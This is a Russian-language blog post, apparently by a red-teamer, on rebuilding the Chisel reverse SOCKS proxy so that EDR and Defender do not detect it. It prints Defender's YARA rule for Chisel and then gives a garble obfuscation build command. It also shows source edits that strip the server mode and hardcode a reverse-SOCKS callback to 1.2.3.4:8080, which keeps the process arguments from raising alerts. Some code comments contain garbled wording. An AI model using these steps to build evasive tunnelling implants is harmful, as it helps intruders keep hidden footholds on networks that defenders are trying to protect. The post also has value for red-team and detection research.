Привет!

Все знают, что такое reverse socks-прокси. С его помощью можно закрепляться, сканировать, пивотиться, в общем, такой инструмент критически важно иметь под рукой во время пентестов и редтимов. И будет совсем хорошо, если этот инструмент не убивается EDR’ами. Поэтому я, после 🔗 поста с метерпретером, снова заморочился (но уже не так сильно) и решил посмотреть на 🔗Chisel. Цель — Получить сборку чизела с обходом EDR и сохранением функционала. Поехали!

Дисклеймер

Существуют нормативно-правовые акты, запрещающие создание, распространение, копирование и иную активность, связанную с вредоносным ПО с целями получения несанкционированного доступа, и т.д. и т.п. Данный пост нацелен на повышение осведомленности и углубленного понимания принципов работы СЗИ.

Определяем существующие правила сигнатурного анализа:

  1. Публичные правила yara (Например, 🔗это) представляют собой простую проверку файла на заданные строки, преимущественно, из документации (chisel --help).
  2. Правила MS Defender чуть поинтереснее, но все равно проверяют только строки:
rule HackTool_Win32_Chisel_A_2147778169_0
{
    meta:
        author = "defender2yara"
        detection_name = "HackTool:Win32/Chisel.A"
        threat_id = "2147778169"
        type = "HackTool"
        platform = "Win32: Windows 32-bit platform"
        family = "Chisel"
        severity = "High"
        signature_type = "SIGNATURE_TYPE_PEHSTR_EXT"
        threshold = "3"
        strings_accuracy = "Low"
    strings:
        $x_2_1 = {63 68 69 73 65 6c 2d 76 ?? 2d 63 6c 69 65 6e 74}  //**chisel-v...**
        $x_1_2 = "chiselclientclosed" ascii //weight: 1
        $x_1_3 = "chisel-chunkedcommand" ascii //weight: 1
        $x_1_4 = "sendchisel" ascii //weight: 1
        $x_1_5 = "CHISEL_KEY" ascii //weight: 1
        $x_1_6 = "chisel.pid" ascii //weight: 1
    condition:
        (filesize < 20MB) and
        (
            ((3 of ($x_1_*))) or
            ((1 of ($x_2_*) and 1 of ($x_1_*))) or
            (all of ($x*))
        )
}

Делаем выводы

  1. Как мы поняли из сигнатур, проверяются только сроки, связанные с чизелом, следовательно, их необходимо скрыть. Сделать это можно несколькими способами:
env CGO_ENABLED=1 GOOS=windows GOARCH=amd64 garble  \\ # Пепеменные окружения, используются в go build, их нужно передавать и в garbme для указания платформы и ОС
 -tiny \\        # Сжимает конечный размер сборки
 -literals \\    # Обфусцирует строки
 -seed random \\ # Создатель Garble (mvdan) предусмотрел деобфускацию на случай дебага. Для этого генерируется seed, который нужно будет указать при отладке. В нашем случае это не нужно, поэтому ставим random
 build \\        # аргумент из 
 -trimpath \\    # изменяет полный путь до корня исходников на относительный
 -ldflags \\
 "-s -w  -buildid= -X github.com/jpillora/chisel/share.BuildVersion=definetlynotachisel" \\ # Флаги для линкера (go tool link). Тут указаны strip (удаляет отладочные символы), подистема Windows (чтобы не было консоли при запуске процесса), и переменная с измененной версией chisel (Её можно удалить, но я не уверен, как это повлияет на работу чизела)
  -o ./notachisel.exe ./
  1. Помимо обфускации строк есть еще одна важная деталь с исходниках чизела — и клиент и сервер содержатся в одном исполняемом файле. Это хорошо с точки зрения развертывания приложения, а вот с точки зрения избыточности кода и потенциальные места сигнатур — плохо, но легко поправимо. Нужно просто убрать лишнее 🔗вот тут:
<SNIP>
	//	switch subcmd {
	//	case "server":
	//		server(args)
	case "client":
		client(args)
<SNIP>

Так как компилятор Go не позволяет оставлять неиспользованные переменные, нужно также будет почистить всё лишнее, это тоже не сложно. Теперь сборка будет работать только в режиме клиента.

  1. И еще одна важная вещь, очень любимая сотрудниками SOC и песочницами — аргументы при запуске процесса. Понятно, что будет, если мы запустим процесс chisel.exe client 1.2.3.4:8080 R:socks. Стриггерится либо EDR, либо корреляция в SIEM. Самый ленивый способ избежать алерта — положить эти параметры прямо в исходники, а именно в main.go:
func main() {
	<SNIP>
	
	if *version || *v {
		fmt.Println(chshare.BuildVersion)
		os.Exit(0)
	}

	args := flag.Args()
	
	// Вот наши аргументы
	args = []string{"client", "1.2.3.4:8080", "R:socks"}

	subcmd := ""
	if len(args) > 0 {
		subcmd = args[0]
		args = args[1:]
	}
	
	<SNIP>
}